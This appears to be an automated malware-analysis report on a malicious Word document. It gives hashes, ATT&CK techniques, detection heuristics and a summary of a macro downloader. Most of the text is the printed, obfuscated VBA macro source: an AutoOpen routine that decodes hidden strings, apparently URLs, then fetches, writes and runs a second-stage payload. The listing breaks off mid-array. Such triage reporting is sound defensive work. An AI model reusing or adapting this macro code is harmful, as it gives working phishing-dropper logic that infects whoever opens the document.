Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 ce13efb65d134aae…

MALICIOUS

Office (OLE) / .DOC

279.5 KB Created: 2023-03-21 21:39:00 Authoring application: Microsoft Office Word First seen: 2023-03-22
MD5: bbe88ae0611387f29af2651582441e72 SHA-1: 10997a9f041aa7f8beb75c80db1bc3c092793567 SHA-256: ce13efb65d134aae87b36ae9433d5f51e50bffe024cf80c9c4e0bfba6491ef5d
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate Malicious Files or Information

The sample contains a VBA macro that utilizes CreateObject and CallByName, indicative of malicious intent. The macro appears to download and execute a second-stage payload, as suggested by the high-confidence heuristics and the presence of obfuscated code within the extracted 'macros.bas' file. The document body's content is irrelevant to the malicious functionality.

Heuristics 8

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ZYSiQNSZ = CreateObject(iMjRgArv)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    CallByName AFHjChID, dDXTr, 1, PpcHg.Items, 4
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37830 bytes
SHA-256: 3714291897a95e694aa219ac6aa58b179cb56b9a5226103074bbaec1d61e525f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
183 of 245 identifiers look randomly generated (e.g. 'VpZysYravNNxoaxUxOdTyreBHlHGphPKvfQj0oNq') — consistent with name-mangling obfuscation. Carved artifact contains 7 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function ZYSiQNSZ(iMjRgArv As String) As Object
Set ZYSiQNSZ = CreateObject(iMjRgArv)
End Function
Function NMmBzN(mP As String, NepCBHIr As String) As Boolean
Dim wuO As Object
Dim dYvaT As Object
Dim TeV As Object
Dim wJm As Object
Dim cqCdLNo As String
Dim eoReUOrJ As String
Dim dusz() As Byte
Dim FGkSg As Integer
Dim uSBPTvo As String
Dim Leo As String
NMmBzN = False
Dim YFQfqz As String
Dim Rfrp As String
Dim iXBbJL(3) As Long
Dim BHfvUSga As Long
BHfvUSga = 1
Rfrp = "wn?u"
iXBbJL(0) = 3
iXBbJL(1) = 1
iXBbJL(2) = 1
YFQfqz = yV(Rfrp, iXBbJL, BHfvUSga)
Dim nCdouyJ As String
Dim JYK As String
Dim Yzimj(3) As Long
Dim nTa As Long
nTa = 3
JYK = "CAcIYV&OAz=tCdtjT"
Yzimj(0) = 7
Yzimj(1) = 3
Yzimj(2) = 11
nCdouyJ = yV(JYK, Yzimj, nTa)
cqCdLNo = GKDfhgnv()
eoReUOrJ = mP & YFQfqz & cqCdLNo & nCdouyJ & System.CountryRegion
On Error GoTo VjzvXtB
Set wuO = ZcVG()
FpszYuqo wuO, eoReUOrJ
eodA wuO
If vpfYYWxF(wuO) Then
dusz = HADHstT(wuO)
FGkSg = RHgKg(dusz)
If FGkSg = 1 Then
ZUUDU dusz, NepCBHIr
NMmBzN = True
End If
If FGkSg = 2 Then
Set TeV = cCcmjMB()
uSBPTvo = zJ()
rMyc TeV, uSBPTvo
Dim qnVaPRuC As String
Dim DLN As String
Dim LqEqpFD(10) As Long
Dim QNtlb As Long
QNtlb = 4
DLN = "iKzLpsxopjif.x"
LqEqpFD(0) = 13
LqEqpFD(1) = 3
LqEqpFD(2) = 1
LqEqpFD(3) = 5
LqEqpFD(4) = 9
LqEqpFD(5) = 14
LqEqpFD(6) = 6
LqEqpFD(7) = 6
LqEqpFD(8) = 4
LqEqpFD(9) = 6
qnVaPRuC = yV(DLN, LqEqpFD, QNtlb)
Leo = uSBPTvo & qnVaPRuC
ZUUDU dusz, Leo
Set wJm = bJ()
Set AFHjChID = VWuXey(wJm, uSBPTvo)
Set PpcHg = VWuXey(wJm, Leo)
Dim dDXTr As String
Dim kWgNrTp As String
Dim pVqXwU(20) As Long
Dim JVibYyK As Long
JVibYyK = 8
kWgNrTp = "ICpCRINdgsHeoSlzvjerRRzIiJcchpbYsCjyextRpJZaHjylHDVXziJYfr"
pVqXwU(0) = 2
pVqXwU(1) = 13
pVqXwU(2) = 3
pVqXwU(3) = 36
pVqXwU(4) = 11
pVqXwU(5) = 12
pVqXwU(6) = 20
pVqXwU(7) = 12
pVqXwU(8) = 43
pVqXwU(9) = 21
pVqXwU(10) = 47
pVqXwU(11) = 56
pVqXwU(12) = 14
pVqXwU(13) = 8
pVqXwU(14) = 38
pVqXwU(15) = 48
pVqXwU(16) = 20
pVqXwU(17) = 16
pVqXwU(18) = 15
pVqXwU(19) = 54
dDXTr = yV(kWgNrTp, pVqXwU, JVibYyK)
CallByName AFHjChID, dDXTr, 1, PpcHg.Items, 4
Dim aKJejptR As String
Dim NQi As String
Dim JKiYv(11) As Long
Dim nklFTsW As Long
nklFTsW = 8
NQi = "PvprqtelqPiiLLUWvoAlJGVNxFirMSIrNwRooMTYenfhovhBImujMPwLVrmncsOHZ"
JKiYv(0) = 29
JKiYv(1) = 18
JKiYv(2) = 2
JKiYv(3) = 7
JKiYv(4) = 26
JKiYv(5) = 11
JKiYv(6) = 8
JKiYv(7) = 7
JKiYv(8) = 26
JKiYv(9) = 11
JKiYv(10) = 15
aKJejptR = yV(NQi, JKiYv, nklFTsW)
For Each xd In AFHjChID.Items
CallByName TeV, aKJejptR, 1, xd.Path, NepCBHIr
Next
xcyez TeV, uSBPTvo
YsJw TeV, Leo
NMmBzN = True
End If
End If
Exit Function
VjzvXtB:
NMmBzN = False
End Function
Sub HXsm(lWX As Object, croJP As String, JBBPA As String)
Dim VKlrJqk As String
Dim viDvsgm As String
Dim RQQqaTEB(3) As Long
Dim Dzm As Long
Dzm = 1
viDvsgm = "xhhfB i"
RQQqaTEB(0) = 6
RQQqaTEB(1) = 7
RQQqaTEB(2) = 5
VKlrJqk = yV(viDvsgm, RQQqaTEB, Dzm)
Dim CPTeEX As String
Dim rrhkNut As String
Dim cWrtBH(34) As Long
Dim cU As Long
cU = 12
rrhkNut = "xXFSyMthClIWpvIZJnRuclhTfEPMKLESSWSdvfuiHPdtextjVptApNpFOfsBhSxLoekJPOutBqVpKJjMDVNhmTxNOLZjeguL"
cWrtBH(0) = 4
cWrtBH(1) = 8
cWrtBH(2) = 45
cWrtBH(3) = 10
cWrtBH(4) = 10
cWrtBH(5) = 26
cWrtBH(6) = 1
cWrtBH(7) = 45
cWrtBH(8) = 21
cWrtBH(9) = 20
cWrtBH(10) = 7
cWrtBH(11) = 45
cWrtBH(12) = 75
cWrtBH(13) = 53
cWrtBH(14) = 77
cWrtBH(15) = 59
cWrtBH(16) = 13
cWrtBH(17) = 35
cWrtBH(18) = 91
cWrtBH(19) = 68
cWrtBH(20) = 10
cWrtBH(21) = 67
cWrtBH(22) = 92
cWrtBH(23) = 39
cWrtBH(24) = 78
cWrtBH(25) = 51
cWrtBH(26) = 50
cWrtBH(27) = 53
cWrtBH(28) = 32
cWrtBH(29) = 5
cWrtBH(30) = 29
cWrtBH(31) = 40
cWrtBH(32) = 82
cWrtBH(33) = 15
CPTeEX = yV(rrhkNut, cWrtBH, cU)
CallByName lWX, CPTeEX, 1, croJP, VKlrJqk & JBBPA
End Sub
Sub FpszYuqo(CPHVca As Object, ZLjhc As String)
Dim buRhJf As String
Dim rsfkkR As String
Dim ksaTcE(9) As Long
Dim YTnZ As Long
YTnZ = 4
rsfkkR = "mKEjJwEOrOpqLnfe"
ksaTcE(0) = 8
ksaTcE(1) = 11
ksaTcE(2) = 16
ksaTcE(3) = 14
ksaTcE(4) = 8
ksaTcE(5) = 16
ksaTcE(6) = 12
ksaTcE(7) = 12
ksaTcE(8) = 0
buRhJf = yV(rsfkkR, ksaTcE, YTnZ)
Dim LQW As String
Dim YSjLneVn As String
Dim zPHfIr(4) As Long
Dim Y As Long
Y = 3
YSjLneVn = "oGCFGoZbNREzKKKRLwWYPRTR"
zPHfIr(0) = 2
zPHfIr(1) = 11
zPHfIr(2) = 23
zPHfIr(3) = 13
LQW = yV(YSjLneVn, zPHfIr, Y)
CallByName CPHVca, buRhJf, 1, LQW, ZLjhc, False
Dim Vb As String
Dim V As String
Dim uRm(15) As Long
Dim fzYsP As Long
fzYsP = 6
V = "NGuEFtNZVuipedhOvZNUorPlnApWccgCGXOjZVRTTUYSpo"
uRm(0) = 16
uRm(1) = 12
uRm(2) = 6
uRm(3) = 11
uRm(4) = 21
uRm(5) = 25
uRm(6) = 39
uRm(7) = 20
uRm(8) = 9
uRm(9) = 35
uRm(10) = 21
uRm(11) = 3
uRm(12) = 17
uRm(13) = 5
uRm(14) = 20
Vb = yV(V, uRm, fzYsP)
CallByName CPHVca, Vb, 4, 4, 13056
End Sub
Function zJ() As String
Dim EBgq As String
Dim HIgBrx As String
Dim LLBv As String
Dim bMAEL As String
Dim EqJCYpg(6) As Long
Dim GiyTone As Long
GiyTone = 4
bMAEL = "pytnufQOFaurLlkuKTnUSqDNbWhxvdP"
EqJCYpg(0) = 31
EqJCYpg(1) = 10
EqJCYpg(2) = 3
EqJCYpg(3) = 27
EqJCYpg(4) = 24
EqJCYpg(5) = 16
LLBv = yV(bMAEL, EqJCYpg, GiyTone)
Dim BBUzar As String
Dim iYVCAOLC As String
Dim tcN(1) As Long
Dim LIK As Long
LIK = 1
iYVCAOLC = "RQ\zmH"
tcN(0) = 3
BBUzar = yV(iYVCAOLC, tcN, LIK)
EBgq = CallByName(ActiveDocument, LLBv, 2)
HIgBrx = GKDfhgnv()
zJ = EBgq & BBUzar & HIgBrx
End Function
Sub LttY(dTUiVm As Object, fL As String)
Dim lvsxcOH As String
Dim deaHn As String
Dim EQt(25) As Long
Dim PhHUcnLw As Long
PhHUcnLw = 10
deaHn = "SnSSfMXIGRWvzGPWvIVgcTsnSFFraRPDJQegKGEvLrRtEZSDujlvSXoheVpfKQpBfeeeiUQeXSd"
EQt(0) = 1
EQt(1) = 29
EQt(2) = 12
EQt(3) = 35
EQt(4) = 22
EQt(5) = 55
EQt(6) = 26
EQt(7) = 69
EQt(8) = 51
EQt(9) = 35
EQt(10) = 11
EQt(11) = 7
EQt(12) = 53
EQt(13) = 15
EQt(14) = 53
EQt(15) = 8
EQt(16) = 12
EQt(17) = 61
EQt(18) = 74
EQt(19) = 36
EQt(20) = 32
EQt(21) = 48
EQt(22) = 9
EQt(23) = 8
EQt(24) = 5
lvsxcOH = yV(deaHn, EQt, PhHUcnLw)
CallByName dTUiVm, lvsxcOH, 1, fL, 2
End Sub
Sub YsJw(tqSx As Object, tAQfQBp As String)
Dim xGoklRkN As String
Dim pcl As String
Dim jFtiYIF(26) As Long
Dim vIUcyHvK As Long
vIUcyHvK = 10
pcl = "fwLSuseOJZGLieepKtNdlRDDXHlHnZSyseMhefVLprirXdYuFBZLIoiyUlJAEQpg"
jFtiYIF(0) = 23
jFtiYIF(1) = 7
jFtiYIF(2) = 21
jFtiYIF(3) = 7
jFtiYIF(4) = 18
jFtiYIF(5) = 7
jFtiYIF(6) = 49
jFtiYIF(7) = 13
jFtiYIF(8) = 21
jFtiYIF(9) = 7
jFtiYIF(10) = 49
jFtiYIF(11) = 51
jFtiYIF(12) = 7
jFtiYIF(13) = 34
jFtiYIF(14) = 62
jFtiYIF(15) = 18
jFtiYIF(16) = 34
jFtiYIF(17) = 21
jFtiYIF(18) = 58
jFtiYIF(19) = 27
jFtiYIF(20) = 53
jFtiYIF(21) = 34
jFtiYIF(22) = 49
jFtiYIF(23) = 64
jFtiYIF(24) = 39
jFtiYIF(25) = 16
xGoklRkN = yV(pcl, jFtiYIF, vIUcyHvK)
CallByName tqSx, xGoklRkN, 1, tAQfQBp
End Sub
Sub ZUUDU(KySa() As Byte, UatUjfQ As String)
Dim oSq As Object
Set oSq = gEHjdKTr()
VyKjeIv oSq
FbnGvM oSq
LSaXewrU oSq, KySa
LttY oSq, UatUjfQ
oDQkgdrB oSq
End Sub
Sub AutoOpen()
Dim cWWa As String
Dim bbTunlE As String
Dim fdPaUDcW As String
Dim a(140) As Long
Dim z As Long
z = 47
fdPaUDcW = "dmnKHdnKQtOoXWqhItRvuDhNUWiombbaTnhUyE5iuoWCpWpMaXZphoAXUWeA/kPFkblgjYUSaBjQWFGCpBo:eerXTOAnTcwJAcfykmwnWAghnplbqnKUjjuRVuyIg/sIZQ/FKAp-kUYfswEOuleJSGaxa/jpRzLtRCPIvEuDCcOLcdpdhehXUkNdC.VsJmpcwbyqtFCPk/aOfbirevTgHKbinzvvH5nqlAXl"
a(0) = 16
a(1) = 10
a(2) = 10
a(3) = 45
a(4) = 84
a(5) = 61
a(6) = 61
a(7) = 16
a(8) = 12
a(9) = 94
a(10) = 20
a(11) = 27
a(12) = 59
a(13) = 3
a(14) = 94
a(15) = 16
a(16) = 21
a(17) = 37
a(18) = 59
a(19) = 3
a(20) = 68
a(21) = 27
a(22) = 32
a(23) = 186
a(24) = 20
a(25) = 3
a(26) = 61
a(27) = 95
a(28) = 45
a(29) = 136
a(30) = 32
a(31) = 1
a(32) = 2
a(33) = 27
a(34) = 3
a(35) = 61
a(36) = 39
a(37) = 33
a(38) = 39
a(39) = 96
a(40) = 30
a(41) = 14
a(42) = 32
a(43) = 21
a(44) = 67
a(45) = 11
a(46) = 61
a(47) = 224
a(48) = 70
a(49) = 10
a(50) = 102
a(51) = 196
a(52) = 46
a(53) = 46
a(54) = 122
a(55) = 217
a(56) = 139
a(57) = 21
a(58) = 182
a(59) = 80
a(60) = 13
a(61) = 21
a(62) = 85
a(63) = 220
a(64) = 169
a(65) = 222
a(66) = 106
a(67) = 219
a(68) = 132
a(69) = 103
a(70) = 4
a(71) = 188
a(72) = 141
a(73) = 55
a(74) = 50
a(75) = 189
a(76) = 26
a(77) = 61
a(78) = 158
a(79) = 26
a(80) = 120
a(81) = 200
a(82) = 97
a(83) = 136
a(84) = 18
a(85) = 93
a(86) = 128
a(87) = 184
a(88) = 57
a(89) = 115
a(90) = 165
a(91) = 3
a(92) = 201
a(93) = 85
a(94) = 47
a(95) = 50
a(96) = 107
a(97) = 48
a(98) = 37
a(99) = 93
a(100) = 179
a(101) = 91
a(102) = 162
a(103) = 42
a(104) = 174
a(105) = 22
a(106) = 24
a(107) = 192
a(108) = 205
a(109) = 112
a(110) = 179
a(111) = 31
a(112) = 87
a(113) = 142
a(114) = 76
a(115) = 221
a(116) = 71
a(117) = 137
a(118) = 116
a(119) = 18
a(120) = 19
a(121) = 147
a(122) = 15
a(123) = 99
a(124) = 75
a(125) = 195
a(126) = 207
a(127) = 153
a(128) = 126
a(129) = 131
a(130) = 99
a(131) = 120
a(132) = 33
a(133) = 77
a(134) = 178
a(135) = 45
a(136) = 44
a(137) = 193
a(138) = 25
a(139) = 80
bbTunlE = yV(fdPaUDcW, a, z)
Dim CH As String
Dim pNZbumTl As String
Dim ZuL(89) As Long
Dim kbAebTm As Long
kbAebTm = 57
pNZbumTl = "aKJikZzYxUl0NghrJGontmikvBsChjwp9MvDKMefTLwHCQmBxL/DIhwZUDrPeeQHQkUPJtpTLoC.RknJnoBNMhzuScvRtlrBJevRxYumyBsVbxvZdfR/oIaelz-rRFl.vYychizXAweSJKmBo/VpZysYravNNxoaxUxOdTyreBHlHGphPKvfQj0oNqXiWUSROCBKoozc6wIQAKNDUscesjREXnagaPtpigUbNXKkNlVgqsJcgLECadFwLuFpgJSRZXWgXtyBsyL6GebXZjYtappzTvIoFFPSUmhwqcanFwcrJDrhxvchsNVdly4rvk3HRMlBoJIwCPaUsxNiDveqgFmcUROAkkDezcaiLRuWCZhykbNnpAdSfNxnTsDsHZRwuSe/EwdSmiqdhTyxLRErBCEqAAJBMogxBjtHSJoyLZGTctsNzUGoZEumDlf:oFMvFoKxpnfArBWIVMVB/Ctnvz"
ZuL(0) = 15
ZuL(1) = 21
ZuL(2) = 21
ZuL(3) = 32
ZuL(4) = 27
ZuL(5) = 444
ZuL(6) = 51
ZuL(7) = 51
ZuL(8) = 27
ZuL(9) = 88
ZuL(10) = 32
ZuL(11) = 32
ZuL(12) = 11
ZuL(13) = 4
ZuL(14) = 39
ZuL(15) = 16
ZuL(16) = 90
ZuL(17) = 4
ZuL(18) = 21
ZuL(19) = 105
ZuL(20) = 76
ZuL(21) = 90
ZuL(22) = 19
ZuL(23) = 22
ZuL(24) = 76
ZuL(25) = 22
ZuL(26) = 9
ZuL(27) = 51
ZuL(28) = 31
ZuL(29) = 32
ZuL(30) = 123
ZuL(31) = 90
ZuL(32) = 19
ZuL(33) = 20
ZuL(34) = 21
ZuL(35) = 39
ZuL(36) = 20
ZuL(37) = 21
ZuL(38) = 51
ZuL(39) = 9
ZuL(40) = 12
ZuL(41) = 88
ZuL(42) = 201
ZuL(43) = 31
ZuL(44) = 89
ZuL(45) = 41
ZuL(46) = 12
ZuL(47) = 319
ZuL(48) = 105
ZuL(49) = 201
ZuL(50) = 136
ZuL(51) = 315
ZuL(52) = 33
ZuL(53) = 34
ZuL(54) = 164
ZuL(55) = 186
ZuL(56) = 51
ZuL(57) = 114
ZuL(58) = 238
ZuL(59) = 123
ZuL(60) = 122
ZuL(61) = 73
ZuL(62) = 66
ZuL(63) = 282
ZuL(64) = 170
ZuL(65) = 419
ZuL(66) = 17
ZuL(67) = 136
ZuL(68) = 231
ZuL(69) = 43
ZuL(70) = 453
ZuL(71) = 181
ZuL(72) = 277
ZuL(73) = 204
ZuL(74) = 367
ZuL(75) = 144
ZuL(76) = 284
ZuL(77) = 333
ZuL(78) = 238
ZuL(79) = 97
ZuL(80) = 412
ZuL(81) = 382
ZuL(82) = 357
ZuL(83) = 405
ZuL(84) = 408
ZuL(85) = 145
ZuL(86) = 117
ZuL(87) = 359
ZuL(88) = 444
CH = yV(pNZbumTl, ZuL, kbAebTm)
Dim QaySexL As String
Dim eiO As String
Dim GopZBLF(42) As Long
Dim RfBS As Long
RfBS = 37
eiO = "UnTNkmhaFlWoZRucog7bWtxctQ.lBjdEANVccvImWPoXexLdzJghKmiUmKS/OdgnExrhjlUhpPJVAJ:/tBVlhZFqqYjGIHFhEfCdFr//VgstPNluszVhQaaYPVGAgaEGhGNdpEjFFenhsDwYpdbpPIfNgpxNcRNxdvDaBrjEkKUUjttaiRSuDAejVrnIkZYciCQsLowDmwpukzKmTtja.BImXLZuAXNo/eIWCLXjQuTfYFFbPkeIX"
GopZBLF(0) = 7
GopZBLF(1) = 22
GopZBLF(2) = 22
GopZBLF(3) = 73
GopZBLF(4) = 79
GopZBLF(5) = 60
GopZBLF(6) = 60
GopZBLF(7) = 107
GopZBLF(8) = 12
GopZBLF(9) = 6
GopZBLF(10) = 45
GopZBLF(11) = 18
GopZBLF(12) = 31
GopZBLF(13) = 73
GopZBLF(14) = 107
GopZBLF(15) = 10
GopZBLF(16) = 12
GopZBLF(17) = 10
GopZBLF(18) = 27
GopZBLF(19) = 19
GopZBLF(20) = 6
GopZBLF(21) = 27
GopZBLF(22) = 73
GopZBLF(23) = 10
GopZBLF(24) = 60
GopZBLF(25) = 31
GopZBLF(26) = 8
GopZBLF(27) = 22
GopZBLF(28) = 8
GopZBLF(29) = 20
GopZBLF(30) = 8
GopZBLF(31) = 107
GopZBLF(32) = 45
GopZBLF(33) = 60
GopZBLF(34) = 10
GopZBLF(35) = 15
GopZBLF(36) = 60
GopZBLF(37) = 157
GopZBLF(38) = 241
GopZBLF(39) = 162
GopZBLF(40) = 229
GopZBLF(41) = 70
QaySexL = yV(eiO, GopZBLF, RfBS)
Dim rwYEY As String
Dim CONwQKz As String
Dim UvSuJT(51) As Long
Dim xV As Long
xV = 37
CONwQKz = "HbnSxWoPEMTLokJSxjhx/vhftRxyujobaeePXNtfgYKGZEVyjVojzdkxzEgRPpKhKLidYYTlKgnikaezhtdAnQGFbAAMJzncsewFl:/mdecARxxb.eagVQHCexEaKNOpfHazMR.gREbrQanMibiPMCkRrgbrhHoRnBaptiZlmfpyvbcBFXqzcYSKndMeILmQzgfmNQBDQ/tJh/KRyeumtxaiCJ/wt"
UvSuJT(0) = 19
UvSuJT(1) = 25
UvSuJT(2) = 25
UvSuJT(3) = 62
UvSuJT(4) = 102
UvSuJT(5) = 21
UvSuJT(6) = 21
UvSuJT(7) = 54
UvSuJT(8) = 33
UvSuJT(9) = 140
UvSuJT(10) = 2
UvSuJT(11) = 33
UvSuJT(12) = 53
UvSuJT(13) = 67
UvSuJT(14) = 113
UvSuJT(15) = 7
UvSuJT(16) = 140
UvSuJT(17) = 41
UvSuJT(18) = 113
UvSuJT(19) = 41
UvSuJT(20) = 34
UvSuJT(21) = 21
UvSuJT(22) = 72
UvSuJT(23) = 33
UvSuJT(24) = 3
UvSuJT(25) = 41
UvSuJT(26) = 29
UvSuJT(27) = 33
UvSuJT(28) = 41
UvSuJT(29) = 34
UvSuJT(30) = 21
UvSuJT(31) = 67
UvSuJT(32) = 28
UvSuJT(33) = 86
UvSuJT(34) = 10
UvSuJT(35) = 19
UvSuJT(36) = 21
UvSuJT(37) = 68
UvSuJT(38) = 114
UvSuJT(39) = 136
UvSuJT(40) = 68
UvSuJT(41) = 191
UvSuJT(42) = 117
UvSuJT(43) = 210
UvSuJT(44) = 198
UvSuJT(45) = 76
UvSuJT(46) = 51
UvSuJT(47) = 206
UvSuJT(48) = 102
UvSuJT(49) = 99
UvSuJT(50) = 107
rwYEY = yV(CONwQKz, UvSuJT, xV)
Dim QMBsm As String
Dim iHLqZmTc As String
Dim IWtMfLA(85) As Long
Dim L As Long
L = 52
iHLqZmTc = "yeNgWqorgalEthkrs/zBiNiruntY:flJackGAvaEGsafgTwlvcZtTKt-iMydQEb.kbRrUuzZCizoOHKenyKPEQaIMayVtigmYoSHgbwWlLguthsotHjErludTFreuYmTcHdzuieVbXjYuTKdZsCjLoTeNjhbPsgByMmt/LpOMqdnpI/g/jrvAnBwXH/UabMnoDGdxj"
IWtMfLA(0) = 14
IWtMfLA(1) = 13
IWtMfLA(2) = 13
IWtMfLA(3) = 167
IWtMfLA(4) = 29
IWtMfLA(5) = 18
IWtMfLA(6) = 18
IWtMfLA(7) = 17
IWtMfLA(8) = 167
IWtMfLA(9) = 21
IWtMfLA(10) = 8
IWtMfLA(11) = 21
IWtMfLA(12) = 13
IWtMfLA(13) = 25
IWtMfLA(14) = 10
IWtMfLA(15) = 11
IWtMfLA(16) = 7
IWtMfLA(17) = 25
IWtMfLA(18) = 13
IWtMfLA(19) = 60
IWtMfLA(20) = 7
IWtMfLA(21) = 7
IWtMfLA(22) = 8
IWtMfLA(23) = 10
IWtMfLA(24) = 60
IWtMfLA(25) = 38
IWtMfLA(26) = 2
IWtMfLA(27) = 26
IWtMfLA(28) = 13
IWtMfLA(29) = 25
IWtMfLA(30) = 8
IWtMfLA(31) = 2
IWtMfLA(32) = 17
IWtMfLA(33) = 64
IWtMfLA(34) = 7
IWtMfLA(35) = 8
IWtMfLA(36) = 4
IWtMfLA(37) = 18
IWtMfLA(38) = 34
IWtMfLA(39) = 4
IWtMfLA(40) = 21
IWtMfLA(41) = 56
IWtMfLA(42) = 63
IWtMfLA(43) = 21
IWtMfLA(44) = 26
IWtMfLA(45) = 18
IWtMfLA(46) = 4
IWtMfLA(47) = 30
IWtMfLA(48) = 13
IWtMfLA(49) = 32
IWtMfLA(50) = 26
IWtMfLA(51) = 18
IWtMfLA(52) = 99
IWtMfLA(53) = 38
IWtMfLA(54) = 191
IWtMfLA(55) = 161
IWtMfLA(56) = 106
IWtMfLA(57) = 49
IWtMfLA(58) = 131
IWtMfLA(59) = 60
IWtMfLA(60) = 154
IWtMfLA(61) = 12
IWtMfLA(62) = 153
IWtMfLA(63) = 18
IWtMfLA(64) = 103
IWtMfLA(65) = 64
IWtMfLA(66) = 168
IWtMfLA(67) = 143
IWtMfLA(68) = 133
IWtMfLA(69) = 160
IWtMfLA(70) = 128
IWtMfLA(71) = 46
IWtMfLA(72) = 143
IWtMfLA(73) = 164
IWtMfLA(74) = 98
IWtMfLA(75) = 113
IWtMfLA(76) = 78
IWtMfLA(77) = 77
IWtMfLA(78) = 176
IWtMfLA(79) = 153
IWtMfLA(80) = 46
IWtMfLA(81) = 34
IWtMfLA(82) = 1
IWtMfLA(83) = 111
IWtMfLA(84) = 23
QMBsm = yV(iHLqZmTc, IWtMfLA, L)
Dim CYduNv As String
Dim WL As String
Dim omPxW(108) As Long
Dim NkK As Long
NkK = 39
WL = "HmCGpDAWpwOHDCumeuqlpGdGzlERiXFoSQqvFFSygvCyhEECBgnNOYvLyfTbrIZGYXIkWvwNNUeAVvIvDYbiXbysmLTKWziEdDAmLncFcyBojZXnKqexaymfsXhzuwoujyjheJIbICgdWt1TmbVrwhhfGgoHrqgadnXm//dpcqlWmb/qDfeaFdcrqGbYEashndfmtZboGuVLbhdlLIcmNjxbUBuUg/xTzYfdIav/baZQQLAdRAfEZiFydgpMaBPrnUiyVMtpdcRJU.kD:tHfxXmErfFWI"
omPxW(0) = 45
omPxW(1) = 142
omPxW(2) = 142
omPxW(3) = 5
omPxW(4) = 273
omPxW(5) = 165
omPxW(6) = 165
omPxW(7) = 142
omPxW(8) = 17
omPxW(9) = 103
omPxW(10) = 45
omPxW(11) = 51
omPxW(12) = 29
omPxW(13) = 41
omPxW(14) = 15
omPxW(15) = 29
omPxW(16) = 142
omPxW(17) = 117
omPxW(18) = 61
omPxW(19) = 17
omPxW(20) = 270
omPxW(21) = 103
omPxW(22) = 32
omPxW(23) = 2
omPxW(24) = 165
omPxW(25) = 58
omPxW(26) = 32
omPxW(27) = 61
omPxW(28) = 15
omPxW(29) = 2
omPxW(30) = 165
omPxW(31) = 36
omPxW(32) = 109
omPxW(33) = 7
omPxW(34) = 68
omPxW(35) = 143
omPxW(36) = 3
omPxW(37) = 30
omPxW(38) = 165
omPxW(39) = 25
omPxW(40) = 255
omPxW(41) = 276
omPxW(42) = 284
omPxW(43) = 98
omPxW(44) = 94
omPxW(45) = 275
omPxW(46) = 171
omPxW(47) = 223
omPxW(48) = 227
omPxW(49) = 170
omPxW(50) = 230
omPxW(51) = 243
omPxW(52) = 50
omPxW(53) = 226
omPxW(54) = 32
omPxW(55) = 274
omPxW(56) = 41
omPxW(57) = 151
omPxW(58) = 92
omPxW(59) = 163
omPxW(60) = 222
omPxW(61) = 36
omPxW(62) = 20
omPxW(63) = 245
omPxW(64) = 271
omPxW(65) = 230
omPxW(66) = 14
omPxW(67) = 25
omPxW(68) = 85
omPxW(69) = 206
omPxW(70) = 117
omPxW(71) = 35
omPxW(72) = 246
omPxW(73) = 24
omPxW(74) = 258
omPxW(75) = 161
omPxW(76) = 27
omPxW(77) = 81
omPxW(78) = 274
omPxW(79) = 78
omPxW(80) = 28
omPxW(81) = 122
omPxW(82) = 140
omPxW(83) = 105
omPxW(84) = 192
omPxW(85) = 22
omPxW(86) = 114
omPxW(87) = 260
omPxW(88) = 74
omPxW(89) = 201
omPxW(90) = 244
omPxW(91) = 265
omPxW(92) = 213
omPxW(93) = 202
omPxW(94) = 13
omPxW(95) = 195
omPxW(96) = 176
omPxW(97) = 117
omPxW(98) = 70
omPxW(99) = 182
omPxW(100) = 268
omPxW(101) = 264
omPxW(102) = 121
omPxW(103) = 29
omPxW(104) = 100
omPxW(105) = 196
omPxW(106) = 7
omPxW(107) = 268
CYduNv = yV(WL, omPxW, NkK)
Dim aRT As String
Dim XzYQYI As String
Dim yBcMrE(76) As Long
Dim CrAf As Long
CrAf = 40
XzYQYI = "XQokWpWRoLVtgQfbVwpCqpzMxlTcGdbIOfsDjncFUOfWbrmf.cKEnWoqOsnrD8OqHPllimGGfje:edqlLjpaVbay/Hchmouo/e/RmaE/AIqAtOLfDqerGcLuefnrhHJjcnaGsbrlnRfNehIaFitPcjfaGQtLfiinSheToglLAJApl/tHAGjH"
yBcMrE(0) = 92
yBcMrE(1) = 12
yBcMrE(2) = 12
yBcMrE(3) = 6
yBcMrE(4) = 76
